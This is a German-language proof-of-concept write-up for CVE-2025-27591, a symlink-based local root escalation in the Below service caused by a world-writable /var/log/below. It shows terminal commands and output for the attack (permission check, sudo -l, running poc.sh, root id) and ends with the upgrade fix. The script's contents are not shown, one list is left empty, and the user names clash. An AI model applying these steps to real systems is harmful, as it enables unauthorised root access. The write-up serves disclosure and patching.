
Ein Proof of Concept für CVE-2025-27591, eine lokale Privilegienausweitung in Below < v0.9.0
Proof of Concept für CVE-2025-27591, eine Sicherheitslücke, die es lokalen, nicht privilegierten Benutzern ermöglicht, ihre Privilegien durch Symlink-Angriffe auf root auszuweiten.
Die Sicherheitslücke betrifft den Below-Dienst (Versionen vor v0.9.0). Er erstellt ein Verzeichnis /var/log/below mit weltweit beschreibbaren Berechtigungen (0777), was es nicht privilegierten lokalen Benutzern ermöglicht, symbolische Links zu verschieben und kritische Dateien wie /etc/shadow zu manipulieren, was zur Eskalation auf root führt.
Ein lokaler, nicht privilegierter Benutzer kann zu root eskalieren, indem er:
/var/log/below/ muss weltweit beschreibbare Berechtigungen (0777) haben und die Datei error_root.log enthalten.foo@victim:~$ ls -l /var/log/ | grep below
drwxrwxrwx 3 root root 4096 Jul 8 20:45 below
Wir benötigen Berechtigungen auf sudoers-Ebene.
foo@victim:~$ sudo -l
Matching Defaults entries for jacob on victim:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User foo may run the following commands on victim:
(ALL : ALL) NOPASSWD: /usr/bin/below
Sobald wir die Datei poc.sh haben, geben wir ihr die erforderlichen Berechtigungen, führen sie aus und sind root.
foo@victim:/tmp$ chmod +x poc.sh
foo@victim:/tmp$ ./poc.sh
evil@victim:/tmp# id
uid=0(evil) gid=0(root) groups=0(root)
Upgrade auf Below v0.9.0 oder höher, das die unsichere chmod-Logik entfernt und auf systemd-Unit-Funktionen wie LogsDirectory=below setzt.